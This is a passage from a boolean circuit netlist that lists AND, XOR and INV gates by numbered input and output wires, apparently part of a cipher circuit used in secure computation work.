AND +2 1 24329 24330 24267 XOR +2 1 24338 24370 24328 AND +2 1 24335 24368 24327 AND +2 1 24327 24316 24306 XOR +2 1 24327 24330 24282 XOR +1 1 24282 24279 INV +2 1 24327 24328 24278 XOR +2 1 24328 24306 24266 XOR +2 1 24339 24371 24326 AND +2 1 24336 24377 24325 AND +2 1 24343 24374 24324 AND +2 1 24346 24378 24323 AND +2 1 24323 24306 24272 XOR +1 1 24272 24269 INV +2 1 24337 24382 24322 AND +2 1 24322 24326 24298 XOR +2 1 24331 24322 24283 XOR +1 1 24298 24276 INV +2 1 24340 24375 24321 AND +2 1 24329 24321 24285 XOR +2 1 24350 24376 24320 AND +2 1 24276 24320 24275 XOR +2 1 24275 24313 24271 XOR +2 1 24338 24381 24319 AND +2 1 24319 24271 24274 XOR +2 1 24335 24383 24318 AND +2 1 24318 24319 24312 XOR +2 1 24324 24312 24294 XOR +2 1 24325 24294 24295 XOR +2 1 24333 24295 24299 XOR +2 1 24334 24299 24304 XOR +2 1 24316 24304 35607 XOR +2 1 35607 35600 8061 XOR +2 1 24285 24312 24281 XOR +2 1 24313 24281 24284 XOR +2 1 24283 24284 24387 XOR +2 1 24276 24281 24280 XOR +2 1 24279 24280 24386 XOR +2 1 24386 32954 7920 XOR +2 1 24304 24278 24385 XOR +2 1 24294 24271 24270 XOR +2 1 24269 24270 35605 XOR +1 1 35605 7927 INV +2 1 32953 7927 8107 XOR +2 1 24332 24299 24268 XOR +2 1 24267 24268 35606 XOR +2 1 35606 35599 7918 XOR +2 1 24295 24266 35608 XOR +2 1 35603 35608 8134 XOR +1 1 8134 8067 INV +2 1 8067 32798 8071 XOR +2 1 24339 24380 24317 AND +2 1 24328 24317 24277 XOR +1 1 24277 24273 INV +2 1 24273 24274 24384 XOR +1 1 24386 35604 INV +2 1 7641 7636 7717 XOR +2 1 7724 7717 7709 AND +2 1 32798 35604 8174 XOR +2 1 35598 35605 8172 XOR +1 1 8172 8054 INV +2 1 8197 8054 8065 XOR +2 1 8054 35594 8052 XOR +2 1 7707 7713 7658 XOR +2 1 7706 7709 7659 XOR +2 1 7639 7659 7613 XOR +2 1 7613 7638 7703 XOR +2 1 7707 7659 7653 XOR +2 1 7710 7653 7609 XOR +2 1 33863 7609 7697 XOR +2 1 33892 27085 27167 XOR +2 1 33890 33892 27086 XOR +2 1 27163 27086 27089 XOR +2 1 33886 33892 27090 XOR +2 1 27090 27085 27166 XOR +2 1 27084 27090 27173 XOR +2 1 27100 27173 27171 XOR +2 1 33891 27090 27176 XOR +2 1 33887 27176 27172 XOR +2 1 27086 27084 27046 XOR +2 1 27083 27046 27168 XOR +2 1 27086 33891 27045 XOR +2 1 33886 27045 27175 XOR +2 1 27171 27169 27162 AND +2 1 27156 27162 27107 XOR +2 1 27175 33886 27161 AND +2 1 27176 27172 27159 AND +2 1 27173 27166 27158 AND +2 1 27178 27167 27157 AND +2 1 27157 27085 27087 XOR +2 1 27089 27087 27093 XOR +2 1 33893 27093 27098 XOR +2 1 27107 27098 27154 XOR +2 1 27156 27157 27059 XOR +2 1 27059 27060 27106 XOR +2 1 27106 27088 27105 XOR +2 1 27159 27105 27153 XOR +2 1 27177 27168 27155 AND +2 1 27155 27158 27108 XOR +2 1 27155 27161 27112 XOR +2 1 27112 27084 27099 XOR +2 1 27107 27099 27151 XOR +2 1 27156 27108 27102 XOR +2 1 27088 27108 27062 XOR +2 1 27062 27087 27152 XOR +2 1 27093 27112 27061 XOR +2 1 33891 27061 27104 XOR +2 1 27159 27102 27058 XOR +2 1 33887 27058 27146 XOR +2 1 27154 27153 27150 AND +2 1 27150 27104 27145 XOR +2 1 27150 27152 27149 XOR +2 1 27151 27149 27148 AND +2 1 27148 27104 27147 XOR +2 1 27148 27160 27053 XOR +2 1 27053 27089 27049 XOR +2 1 33893 27049 27052 XOR +2 1 27148 27098 27050 XOR +2 1 33891 27049 27048 XOR +2 1 27145 27146 27144 AND +2 1 27144 27152 27143 XOR +2 1 27150 27144 27142 XOR +2 1 27144 27102 27057 XOR +2 1 27144 27161 27056 XOR +2 1 27056 27158 27051 XOR +2 1 27051 27052 27135 XOR +2 1 27152 27142 27141 AND +2 1 27141 27149 27139 XOR +2 1 27141 27159 27111 XOR +2 1 27111 27105 27133 XOR +2 1 33887 27111 27094 XOR +2 1 27094 27057 27140 XOR +2 1 27147 27139 27138 AND +2 1 27138 27107 27097 XOR +2 1 27097 27099 27137 XOR +2 1 27138 27162 27055 XOR +2 1 27094 27055 27047 XOR +2 1 27084 27047 27054 XOR +2 1 27051 27054 27136 XOR +2 1 27097 27050 27134 XOR +2 1 27047 27048 27132 XOR +2 1 27133 27170 27131 AND +2 1 27140 27169 27130 AND +2 1 27143 33886 27129 AND +2 1 27129 27131 27110 XOR +2 1 27134 27164 27128 AND +2 1 27137 27176 27127 AND +2 1 27127 27128 27113 XOR +2 1 27147 27166 27126 AND +2 1 27126 27127 27064 XOR +2 1 27135 27167 27125 AND +2 1 27132 27165 27124 AND +2 1 27124 27113 27103 XOR +2 1 27124 27127 27079 XOR +1 1 27079 27076 INV +2 1 27124 27125 27075 XOR +2 1 27125 27103 27063 XOR +2 1 27136 27168 27123 AND +2 1 27133 27174 27122 AND +2 1 27140 27171 27121 AND +2 1 27143 27175 27120 AND +2 1 27120 27103 27069 XOR +1 1 27069 27066 INV +2 1 27134 27179 27119 AND +2 1 27119 27123 27095 XOR +2 1 27128 27119 27080 XOR +1 1 27095 27073 INV +2 1 27137 27172 27118 AND +2 1 27126 27118 27082 XOR +2 1 27147 27173 27117 AND +2 1 27073 27117 27072 XOR +2 1 27072 27110 27068 XOR +2 1 27135 27178 27116 AND +2 1 27116 27068 27071 XOR +2 1 27132 27180 27115 AND +2 1 27115 27116 27109 XOR +2 1 27121 27109 27091 XOR +2 1 27122 27091 27092 XOR +2 1 27130 27092 27096 XOR +2 1 27131 27096 27101 XOR +2 1 27113 27101 35665 XOR +2 1 35661 35665 8143 XOR +2 1 8141 35665 8098 XOR +2 1 8151 8143 8082 XOR +2 1 27082 27109 27078 XOR +2 1 27110 27078 27081 XOR +2 1 27080 27081 27184 XOR +2 1 27073 27078 27077 XOR +2 1 27076 27077 27183 XOR +2 1 27101 27075 27182 XOR +2 1 27091 27068 27067 XOR +2 1 27066 27067 35663 XOR +2 1 35659 35663 8144 XOR +2 1 8146 8144 8084 XOR +2 1 27129 27096 27065 XOR +2 1 27064 27065 35664 XOR +2 1 27092 27063 35666 XOR +2 1 35662 35666 8126 XOR +2 1 8126 35664 7932 XOR +1 1 8126 8086 INV +2 1 8086 32796 8089 XOR +2 1 27136 27177 27114 AND +2 1 27125 27114 27074 XOR +1 1 27074 27070 INV +2 1 27070 27071 27181 XOR +2 1 7706 7712 7663 XOR +2 1 7663 7635 7650 XOR +2 1 7658 7650 7702 XOR +2 1 7644 7663 7612 XOR +2 1 33867 7612 7655 XOR +2 1 35376 784 33877 XOR +2 1 33874 33877 7869 XOR +2 1 33875 33877 7775 XOR +2 1 7777 7775 7737 XOR +2 1 7775 7871 7856 XOR +2 1 7871 7856 7847 AND +2 1 7869 7791 7865 XOR +2 1 7774 7869 7861 XOR +2 1 33870 7861 7860 XOR +2 1 7869 7858 7848 AND +2 1 7848 7776 7778 XOR +2 1 7847 7848 7750 XOR +2 1 7750 7751 7797 XOR +2 1 7775 7781 7864 XOR +2 1 7864 7857 7849 AND +2 1 7791 7864 7862 XOR +2 1 33877 33872 7868 XOR +2 1 7862 7860 7853 AND +2 1 7847 7853 7798 XOR +2 1 33877 33871 7870 XOR +2 1 7870 7855 7851 AND +2 1 7851 7775 7779 XOR +2 1 7861 7865 7854 AND +2 1 7854 7777 7780 XOR +2 1 7780 7778 7784 XOR +2 1 33877 7784 7789 XOR +2 1 7798 7789 7845 XOR +2 1 7774 7737 7859 XOR +2 1 7868 7859 7846 AND +2 1 7846 7849 7799 XOR +2 1 7846 7852 7803 XOR +2 1 7803 7775 7790 XOR +2 1 7798 7790 7842 XOR +2 1 7847 7799 7793 XOR +2 1 7850 7793 7749 XOR +2 1 33871 7749 7837 XOR +2 1 7784 7803 7752 XOR +2 1 33875 7752 7795 XOR +2 1 7658 7649 7705 XOR +2 1 7705 7704 7701 AND +2 1 7701 7703 7700 XOR +2 1 7702 7700 7699 AND +2 1 7699 7649 7601 XOR +2 1 7699 7711 7604 XOR +2 1 7604 7640 7600 XOR +2 1 33869 7600 7603 XOR +2 1 33867 7600 7599 XOR +2 1 7701 7655 7696 XOR +2 1 7696 7697 7695 AND +2 1 7695 7653 7608 XOR +2 1 7695 7712 7607 XOR +2 1 7607 7709 7602 XOR +2 1 7602 7603 7686 XOR +2 1 7686 7718 7676 AND +2 1 7686 7729 7667 AND +2 1 7695 7703 7694 XOR +2 1 7694 7726 7671 AND +2 1 7694 33862 7680 AND +2 1 7701 7695 7693 XOR +2 1 7703 7693 7692 AND +2 1 7692 7710 7662 XOR +2 1 33863 7662 7645 XOR +2 1 7645 7608 7691 XOR +2 1 7691 7720 7681 AND +2 1 7691 7722 7672 AND +2 1 7662 7656 7684 XOR +2 1 7684 7725 7673 AND +2 1 7684 7721 7682 AND +2 1 7699 7655 7698 XOR +2 1 7698 7717 7677 AND +2 1 7698 7724 7668 AND +2 1 7680 7682 7661 XOR +2 1 7692 7700 7690 XOR +2 1 7698 7690 7689 AND +2 1 7689 7658 7648 XOR +2 1 7689 7713 7606 XOR +2 1 7645 7606 7598 XOR +2 1 7598 7599 7683 XOR +2 1 7683 7716 7675 AND +2 1 7683 7731 7666 AND +2 1 7675 7676 7626 XOR +2 1 7635 7598 7605 XOR +2 1 7602 7605 7687 XOR +2 1 7687 7719 7674 AND +2 1 7687 7728 7665 AND +2 1 7676 7665 7625 XOR +1 1 7625 7621 INV +2 1 7648 7601 7685 XOR +2 1 7685 7715 7679 AND +2 1 7685 7730 7670 AND +2 1 7679 7670 7631 XOR +2 1 7670 7674 7646 XOR +1 1 7646 7624 INV +2 1 7624 7668 7623 XOR +2 1 7623 7661 7619 XOR +2 1 7667 7619 7622 XOR +2 1 7621 7622 7732 XOR +2 1 7666 7667 7660 XOR +2 1 7672 7660 7642 XOR +2 1 7642 7619 7618 XOR +2 1 7673 7642 7643 XOR +2 1 7681 7643 7647 XOR +2 1 7680 7647 7616 XOR +2 1 7682 7647 7652 XOR +2 1 7652 7626 7733 XOR +2 1 7648 7650 7688 XOR +2 1 7688 7727 7678 AND +2 1 7677 7678 7615 XOR +2 1 7688 7723 7669 AND +2 1 7677 7669 7633 XOR +2 1 7633 7660 7629 XOR +2 1 7661 7629 7632 XOR +2 1 7631 7632 7735 XOR +2 1 7675 7678 7630 XOR +1 1 7630 7627 INV +2 1 7624 7629 7628 XOR +2 1 7627 7628 7734 XOR +2 1 7615 7616 35632 XOR +2 1 7678 7679 7664 XOR +2 1 7664 7652 35633 XOR +2 1 7675 7664 7654 XOR +2 1 7676 7654 7614 XOR +2 1 7643 7614 35634 XOR +2 1 7671 7654 7620 XOR +1 1 7620 7617 INV +2 1 7617 7618 35631 XOR +2 1 7932 7933 8198 XOR +2 1 35606 7927 7926 XOR +2 1 35664 35663 7893 XOR +1 1 7733 32799 INV +1 1 7734 32800 INV +1 1 7735 32801 INV +1 1 7732 32806 INV +2 1 7797 7779 7796 XOR +2 1 7850 7796 7844 XOR +2 1 7845 7844 7841 AND +2 1 7841 7795 7836 XOR +2 1 7836 7837 7835 AND +2 1 7841 7835 7833 XOR +2 1 7835 7852 7747 XOR +2 1 7747 7849 7742 XOR +2 1 7835 7793 7748 XOR +1 1 24384 33049 INV +2 1 33049 7452 8059 XOR +1 1 24385 33050 INV +2 1 33050 7453 8057 XOR +1 1 24387 33051 INV +2 1 32953 33051 7924 XOR +2 1 32791 33051 8173 XOR +1 1 27183 33101 INV +2 1 8141 33101 7876 XOR +2 1 7876 7877 8221 XOR +2 1 33101 35655 7935 XOR +2 1 32796 33101 8156 XOR +1 1 27184 33102 INV +2 1 32797 33102 8176 XOR +2 1 33102 32924 7891 XOR +1 1 27181 33107 INV +2 1 8122 33107 8120 XOR +1 1 27182 33108 INV +2 1 8086 33108 8117 XOR +2 1 32795 33108 8149 XOR +2 1 8149 32922 8104 XOR +2 1 7779 7799 7753 XOR +2 1 7753 7778 7843 XOR +2 1 7835 7843 7834 XOR +2 1 7841 7843 7840 XOR +2 1 7842 7840 7839 AND +2 1 7839 7795 7838 XOR +2 1 7838 7864 7808 AND +2 1 7839 7851 7744 XOR +2 1 7744 7780 7740 XOR +2 1 33877 7740 7743 XOR +2 1 7742 7743 7826 XOR +2 1 7826 7858 7816 AND +2 1 7826 7869 7807 AND +2 1 7839 7789 7741 XOR +2 1 7834 33870 7820 AND +2 1 7843 7833 7832 AND +2 1 7832 7850 7802 XOR +2 1 33871 7802 7785 XOR +2 1 7785 7748 7831 XOR +2 1 7831 7860 7821 AND +2 1 7802 7796 7824 XOR +2 1 7824 7861 7822 AND +2 1 7824 7865 7813 AND +2 1 7820 7822 7801 XOR +2 1 7832 7840 7830 XOR +2 1 7838 7830 7829 AND +2 1 7829 7798 7788 XOR +2 1 7788 7790 7828 XOR +2 1 7828 7863 7809 AND +2 1 7788 7741 7825 XOR +2 1 7825 7870 7810 AND +2 1 7825 7855 7819 AND +2 1 7819 7810 7771 XOR +2 1 7831 7862 7812 AND +2 1 7828 7867 7818 AND +2 1 7818 7819 7804 XOR +2 1 7838 7857 7817 AND +2 1 7817 7809 7773 XOR +2 1 7817 7818 7755 XOR +2 1 7829 7853 7746 XOR +2 1 33875 7740 7739 XOR +2 1 7785 7746 7738 XOR +2 1 7738 7739 7823 XOR +2 1 7823 7856 7815 AND +2 1 7815 7816 7766 XOR +2 1 7823 7871 7806 AND +2 1 7806 7807 7800 XOR +2 1 7773 7800 7769 XOR +2 1 7812 7800 7782 XOR +2 1 7815 7818 7770 XOR +2 1 7815 7804 7794 XOR +2 1 7813 7782 7783 XOR +1 1 7770 7767 INV +2 1 7821 7783 7787 XOR +2 1 7801 7769 7772 XOR +2 1 7771 7772 7875 XOR +2 1 7775 7738 7745 XOR +2 1 7820 7787 7756 XOR +2 1 7755 7756 35620 XOR +2 1 35615 35620 8162 XOR +1 1 8162 8025 INV +1 1 35620 7887 INV +2 1 7887 35614 7886 XOR +2 1 7885 7886 8217 XOR +2 1 7816 7794 7754 XOR +2 1 7783 7754 35622 XOR +2 1 35617 35622 8130 XOR +2 1 8130 32931 7992 XOR +1 1 7875 32805 INV +2 1 32862 32805 8170 XOR +2 1 7742 7745 7827 XOR +2 1 7827 7859 7814 AND +2 1 7810 7814 7786 XOR +1 1 7786 7764 INV +2 1 7764 7769 7768 XOR +2 1 7827 7868 7805 AND +2 1 7816 7805 7765 XOR +1 1 7765 7761 INV +2 1 7764 7808 7763 XOR +2 1 7763 7801 7759 XOR +2 1 7782 7759 7758 XOR +2 1 7807 7759 7762 XOR +2 1 7761 7762 7872 XOR +2 1 7767 7768 7874 XOR +1 1 7874 35618 INV +2 1 7874 32862 7883 XOR +2 1 7882 7883 8218 XOR +2 1 32861 35618 8169 XOR +1 1 7872 32803 INV +2 1 32803 35616 8041 XOR +2 1 32867 32803 8154 XOR +2 1 8154 32930 8014 XOR +1 1 8014 8012 INV +2 1 8154 8148 8021 XOR +2 1 7822 7787 7792 XOR +2 1 7804 7792 35621 XOR +2 1 35616 35621 8158 XOR +2 1 7792 7766 7873 XOR +1 1 8158 7999 INV +2 1 35621 35615 7889 XOR +2 1 7888 7889 8216 XOR +1 1 7873 32804 INV +2 1 32804 32803 8011 XOR +2 1 7834 7866 7811 AND +2 1 7811 7794 7760 XOR +1 1 7760 7757 INV +2 1 7757 7758 35619 XOR +2 1 35619 32861 8043 XOR +2 1 35614 35619 8165 XOR +1 1 8165 8017 INV +2 1 8017 35627 8015 XOR +1 1 7084 33241 INV +2 1 33241 32885 6915 XOR +2 1 6915 6916 35272 XOR +2 1 35272 888 33773 XOR +2 1 33771 33773 13995 XOR +2 1 13995 14091 14076 XOR +2 1 13997 13995 13957 XOR +2 1 33770 33773 14089 XOR +2 1 14089 14012 14085 XOR +2 1 33773 33767 14090 XOR +2 1 33241 35408 6878 XOR +2 1 6878 6879 7152 XOR +2 1 7152 7149 35292 XOR +2 1 35292 868 33793 XOR +2 1 33793 33792 7191 XOR +2 1 33791 33793 7214 XOR +2 1 33792 7214 7216 XOR +2 1 7221 7216 7297 XOR +2 1 7304 7297 7289 AND +2 1 33796 7216 7298 XOR +2 1 33795 7216 7295 XOR +2 1 7310 7295 7291 AND +2 1 7291 7215 7219 XOR +2 1 14090 14075 14071 AND +2 1 14071 13995 13999 XOR +2 1 14089 14078 14068 AND +2 1 14068 13996 13998 XOR +2 1 33241 35406 7003 XOR +2 1 7002 7003 35293 XOR +2 1 35293 867 33794 XOR +2 1 33792 33794 7311 XOR +2 1 33794 33796 7217 XOR +2 1 7217 33795 7176 XOR +2 1 7215 7311 7296 XOR +2 1 7311 7296 7287 AND +2 1 33794 33797 7309 XOR +2 1 7309 7298 7288 AND +2 1 7287 7288 7190 XOR +2 1 7190 7191 7237 XOR +2 1 7237 7219 7236 XOR +2 1 7290 7236 7284 XOR +2 1 7309 7231 7305 XOR +2 1 7288 7216 7218 XOR +2 1 7214 7309 7301 XOR +2 1 7301 7305 7294 AND +2 1 33790 7301 7300 XOR +2 1 7302 7300 7293 AND +2 1 7287 7293 7238 XOR +2 1 7217 7215 7177 XOR +2 1 7214 7177 7299 XOR +2 1 7308 7299 7286 AND +2 1 7286 7289 7239 XOR +2 1 7219 7239 7193 XOR +2 1 7193 7218 7283 XOR +2 1 7287 7239 7233 XOR +2 1 7294 7217 7220 XOR +2 1 7220 7218 7224 XOR +2 1 33797 7224 7229 XOR +2 1 7238 7229 7285 XOR +2 1 7285 7284 7281 AND +2 1 7281 7283 7280 XOR +2 1 13995 14001 14084 XOR +2 1 14012 14084 14082 XOR +2 1 14084 14077 14069 AND +2 1 33790 7176 7306 XOR +2 1 7306 33790 7292 AND +2 1 7286 7292 7243 XOR +2 1 7243 7215 7230 XOR +2 1 7238 7230 7282 XOR +2 1 7282 7280 7279 AND +2 1 7279 7229 7181 XOR +2 1 7279 7291 7184 XOR +2 1 7184 7220 7180 XOR +2 1 33797 7180 7183 XOR +2 1 7224 7243 7192 XOR +2 1 33795 7192 7235 XOR +2 1 7281 7235 7276 XOR +2 1 7279 7235 7278 XOR +2 1 7278 7304 7248 AND +2 1 33795 7180 7179 XOR +2 1 7290 7233 7189 XOR +2 1 33791 7189 7277 XOR +2 1 7276 7277 7275 AND +2 1 7275 7233 7188 XOR +2 1 7275 7292 7187 XOR +2 1 7187 7289 7182 XOR +2 1 7182 7183 7266 XOR +2 1 7266 7309 7247 AND +2 1 7266 7298 7256 AND +2 1 7275 7283 7274 XOR +2 1 7274 33790 7260 AND +2 1 7274 7306 7251 AND +2 1 7281 7275 7273 XOR +2 1 7283 7273 7272 AND +2 1 7272 7280 7270 XOR +2 1 7278 7270 7269 AND +2 1 7269 7238 7228 XOR +2 1 7228 7181 7265 XOR +2 1 7265 7295 7259 AND +2 1 7228 7230 7268 XOR +2 1 7272 7290 7242 XOR +2 1 33791 7242 7225 XOR +2 1 7225 7188 7271 XOR +2 1 7271 7300 7261 AND +2 1 7242 7236 7264 XOR +2 1 7264 7305 7253 AND +2 1 7264 7301 7262 AND +2 1 7265 7310 7250 AND +2 1 7260 7262 7241 XOR +2 1 7259 7250 7211 XOR +2 1 7269 7293 7186 XOR +2 1 7225 7186 7178 XOR +2 1 7215 7178 7185 XOR +2 1 7182 7185 7267 XOR +2 1 7267 7308 7245 AND +2 1 7256 7245 7205 XOR +1 1 7205 7201 INV +2 1 7267 7299 7254 AND +2 1 7250 7254 7226 XOR +1 1 7226 7204 INV +2 1 7204 7248 7203 XOR +2 1 7203 7241 7199 XOR +2 1 7247 7199 7202 XOR +2 1 7201 7202 7312 XOR +2 1 7178 7179 7263 XOR +2 1 7263 7311 7246 AND +2 1 7246 7247 7240 XOR +2 1 7263 7296 7255 AND +2 1 7255 7256 7206 XOR +2 1 7268 7307 7258 AND +2 1 7255 7258 7210 XOR +1 1 7210 7207 INV +2 1 7258 7259 7244 XOR +2 1 7255 7244 7234 XOR +2 1 7256 7234 7194 XOR +2 1 7251 7234 7200 XOR +1 1 7200 7197 INV +2 1 7278 7297 7257 AND +2 1 7257 7258 7195 XOR +2 1 7268 7303 7249 AND +2 1 7257 7249 7213 XOR +2 1 7213 7240 7209 XOR +2 1 7241 7209 7212 XOR +2 1 7211 7212 7315 XOR +2 1 7204 7209 7208 XOR +2 1 7207 7208 7314 XOR +2 1 7271 7302 7252 AND +2 1 7252 7240 7222 XOR +2 1 7253 7222 7223 XOR +2 1 7223 7194 35613 XOR +2 1 35597 35613 8140 XOR +2 1 8140 35595 7880 XOR +1 1 8140 8035 INV +2 1 8173 8140 8125 XOR +2 1 8035 35599 8034 XOR +2 1 7222 7199 7198 XOR +2 1 7197 7198 35609 XOR +2 1 35594 35609 8175 XOR +1 1 8175 8036 INV +2 1 8036 32798 8106 XOR +2 1 8106 8107 35476 XOR +2 1 35476 757 33904 XOR +2 1 8175 8174 8068 XOR +2 1 35598 8068 35484 XOR +2 1 35484 749 33912 XOR +1 1 7312 32792 INV +2 1 8185 32792 8060 XOR +2 1 8060 8061 35487 XOR +2 1 35487 746 33915 XOR +2 1 33049 32792 8180 XOR +2 1 8183 8180 8046 XOR +2 1 33050 8046 35496 XOR +2 1 35496 737 33924 XOR +2 1 8188 8180 8075 XOR +2 1 32959 8075 35479 XOR +2 1 35479 754 33907 XOR +2 1 8180 35596 8002 XOR +1 1 8002 8000 INV +2 1 32792 7453 7984 XOR +1 1 7314 32793 INV +2 1 32793 24386 8053 XOR +2 1 8052 8053 35492 XOR +2 1 35492 741 33920 XOR +2 1 8035 32793 8064 XOR +2 1 32953 32793 8195 XOR +2 1 8195 8172 8047 XOR +2 1 35609 8047 35468 XOR +2 1 35468 765 33896 XOR +2 1 8195 8173 8070 XOR +2 1 8070 8071 8069 XOR +1 1 8069 35483 INV +2 1 35483 750 33911 XOR +2 1 33911 33912 31160 XOR +1 1 7315 32794 INV +2 1 32794 8125 35466 XOR +2 1 32954 32794 8196 XOR +2 1 8196 8134 8072 XOR +2 1 8196 8174 8063 XOR +2 1 32791 8072 35482 XOR +2 1 35482 751 33910 XOR +2 1 8063 8064 8062 XOR +1 1 8062 35467 INV +2 1 35467 766 33895 XOR +2 1 33895 33896 8277 XOR +2 1 35466 767 33894 XOR +2 1 8196 8133 7947 XOR +2 1 33051 7947 35474 XOR +2 1 35474 759 33902 XOR +2 1 13994 13957 14079 XOR +2 1 35608 35613 8132 XOR +2 1 8183 8132 8073 XOR +2 1 35597 8073 35481 XOR +2 1 8173 8132 8055 XOR +2 1 32954 8055 35490 XOR +2 1 35490 743 33918 XOR +2 1 35481 752 33909 XOR +2 1 33907 33909 8401 XOR +1 1 8132 7928 INV +2 1 7928 35607 8050 XOR +2 1 7928 35609 7925 XOR +2 1 7925 7926 8200 XOR +2 1 8200 8197 35493 XOR +2 1 35493 740 33921 XOR +2 1 33909 33904 8494 XOR +2 1 33918 33924 8547 XOR +2 1 7928 32960 7963 XOR +2 1 8132 32794 7923 XOR +2 1 7923 7924 8201 XOR +2 1 8201 8174 35491 XOR +2 1 35491 742 33919 XOR +2 1 33919 33920 8557 XOR +2 1 33919 33921 8540 XOR +2 1 33920 8540 8542 XOR +2 1 33924 8542 8624 XOR +2 1 8547 8542 8623 XOR +2 1 33921 33920 8517 XOR +2 1 7261 7223 7227 XOR +2 1 7260 7227 7196 XOR +2 1 7195 7196 35610 XOR +2 1 35606 35610 8187 XOR +2 1 8188 8187 8051 XOR +1 1 8051 8049 INV +2 1 8049 8050 35494 XOR +2 1 35494 739 33922 XOR +2 1 8187 8036 8033 XOR +2 1 8033 8034 35469 XOR +2 1 8067 35610 8066 XOR +2 1 8065 8066 35485 XOR +2 1 35485 748 33913 XOR +2 1 8202 8187 35477 XOR +2 1 35477 756 33905 XOR +2 1 35469 764 33897 XOR +2 1 33897 33896 8237 XOR +2 1 35610 35600 7881 XOR +2 1 7880 7881 8219 XOR +2 1 33895 33897 8260 XOR +2 1 33896 8260 8262 XOR +2 1 33905 33904 8377 XOR +2 1 7262 7227 7232 XOR +2 1 7244 7232 35611 XOR +2 1 8134 35611 7917 XOR +2 1 7232 7206 7313 XOR +1 1 7313 35612 INV +2 1 7313 35603 7964 XOR +2 1 7963 7964 35473 XOR +2 1 35473 760 33901 XOR +2 1 33901 33895 8356 XOR +2 1 33901 33896 8354 XOR +2 1 33050 35612 8177 XOR +2 1 8177 32959 7983 XOR +2 1 8177 8133 8045 XOR +2 1 8185 8177 8074 XOR +2 1 35608 8045 35497 XOR +2 1 35497 736 33925 XOR +2 1 33925 33920 8634 XOR +2 1 33925 33919 8636 XOR +2 1 32960 8074 35480 XOR +2 1 35480 753 33908 XOR +2 1 33902 33908 8407 XOR +2 1 8401 8407 8490 XOR +2 1 33907 8407 8493 XOR +2 1 35607 35611 8184 XOR +2 1 8185 8184 8048 XOR +2 1 33049 8048 35495 XOR +2 1 35495 738 33923 XOR +2 1 8219 8184 35470 XOR +2 1 8078 8184 8076 XOR +2 1 35470 763 33898 XOR +2 1 33896 33898 8357 XOR +2 1 33898 33901 8355 XOR +2 1 8260 8355 8347 XOR +2 1 33894 8347 8346 XOR +2 1 8355 8277 8351 XOR +2 1 8347 8351 8340 AND +2 1 7917 7918 8204 XOR +2 1 8204 8188 35486 XOR +2 1 35486 747 33914 XOR +2 1 33923 33925 8541 XOR +2 1 8541 8547 8630 XOR +2 1 8630 8623 8615 AND +2 1 8557 8630 8628 XOR +2 1 33922 33925 8635 XOR +2 1 8635 8624 8614 AND +2 1 8540 8635 8627 XOR +2 1 33918 8627 8626 XOR +2 1 8628 8626 8619 AND +2 1 33920 33922 8637 XOR +2 1 8541 8637 8622 XOR +2 1 8637 8622 8613 AND +2 1 8613 8614 8516 XOR +2 1 8516 8517 8563 XOR +2 1 33923 8547 8633 XOR +2 1 33922 33924 8543 XOR +2 1 8543 8541 8503 XOR +2 1 8540 8503 8625 XOR +2 1 8634 8625 8612 AND +2 1 8614 8542 8544 XOR +2 1 8613 8619 8564 XOR +2 1 33923 8542 8621 XOR +2 1 8612 8615 8565 XOR +2 1 8613 8565 8559 XOR +2 1 33919 8633 8629 XOR +2 1 8633 8629 8616 AND +2 1 8635 8557 8631 XOR +2 1 8627 8631 8620 AND +2 1 8620 8543 8546 XOR +2 1 8546 8544 8550 XOR +2 1 33925 8550 8555 XOR +2 1 8564 8555 8611 XOR +2 1 33911 33913 31143 XOR +2 1 33912 31143 31145 XOR +2 1 33915 31145 31224 XOR +2 1 33912 33914 31240 XOR +2 1 33913 33912 31120 XOR +2 1 35611 7452 8001 XOR +2 1 8000 8001 35471 XOR +2 1 35471 762 33899 XOR +2 1 33899 8262 8341 XOR +2 1 33899 33901 8261 XOR +2 1 8356 8341 8337 AND +2 1 8261 8357 8342 XOR +2 1 8357 8342 8333 AND +2 1 8337 8261 8265 XOR +2 1 7983 7984 7982 XOR +1 1 7982 35472 INV +2 1 35472 761 33900 XOR +2 1 33898 33900 8263 XOR +2 1 8263 33899 8222 XOR +2 1 8340 8263 8266 XOR +2 1 8263 8261 8223 XOR +2 1 8260 8223 8345 XOR +2 1 33894 8222 8352 XOR +2 1 33894 33900 8267 XOR +2 1 33899 8267 8353 XOR +2 1 33895 8353 8349 XOR +2 1 8352 33894 8338 AND +2 1 8353 8349 8336 AND +2 1 8354 8345 8332 AND +2 1 8332 8338 8289 XOR +2 1 8261 8267 8350 XOR +2 1 8277 8350 8348 XOR +2 1 8348 8346 8339 AND +2 1 8289 8261 8276 XOR +2 1 8267 8262 8343 XOR +2 1 8350 8343 8335 AND +2 1 8332 8335 8285 XOR +2 1 8333 8285 8279 XOR +2 1 8336 8279 8235 XOR +2 1 33895 8235 8323 XOR +2 1 8265 8285 8239 XOR +2 1 8183 7313 8058 XOR +2 1 8058 8059 35488 XOR +2 1 35488 745 33916 XOR +2 1 33916 31145 31227 XOR +2 1 33914 33916 31146 XOR +2 1 33910 33916 31150 XOR +2 1 31150 31145 31226 XOR +2 1 33915 31150 31236 XOR +2 1 33911 31236 31232 XOR +2 1 31146 33915 31105 XOR +2 1 33910 31105 31235 XOR +2 1 31235 33910 31221 AND +2 1 31236 31232 31219 AND +2 1 8333 8339 8284 XOR +2 1 8284 8276 8328 XOR +2 1 33900 8262 8344 XOR +2 1 8355 8344 8334 AND +2 1 8333 8334 8236 XOR +2 1 8334 8262 8264 XOR +2 1 8266 8264 8270 XOR +2 1 33901 8270 8275 XOR +2 1 8284 8275 8331 XOR +2 1 8236 8237 8283 XOR +2 1 8283 8265 8282 XOR +2 1 8239 8264 8329 XOR +2 1 8270 8289 8238 XOR +2 1 33899 8238 8281 XOR +2 1 8543 33923 8502 XOR +2 1 33918 8502 8632 XOR +2 1 8632 33918 8618 AND +2 1 8612 8618 8569 XOR +2 1 8569 8541 8556 XOR +2 1 8564 8556 8608 XOR +2 1 8550 8569 8518 XOR +2 1 33923 8518 8561 XOR +2 1 8616 8559 8515 XOR +2 1 33919 8515 8603 XOR +2 1 8636 8621 8617 AND +2 1 8617 8541 8545 XOR +2 1 8545 8565 8519 XOR +2 1 8563 8545 8562 XOR +2 1 8616 8562 8610 XOR +2 1 8611 8610 8607 AND +2 1 8607 8561 8602 XOR +2 1 8602 8603 8601 AND +2 1 8601 8559 8514 XOR +2 1 8607 8601 8599 XOR +2 1 8519 8544 8609 XOR +2 1 8609 8599 8598 AND +2 1 8607 8609 8606 XOR +2 1 8608 8606 8605 AND +2 1 8605 8617 8510 XOR +2 1 8510 8546 8506 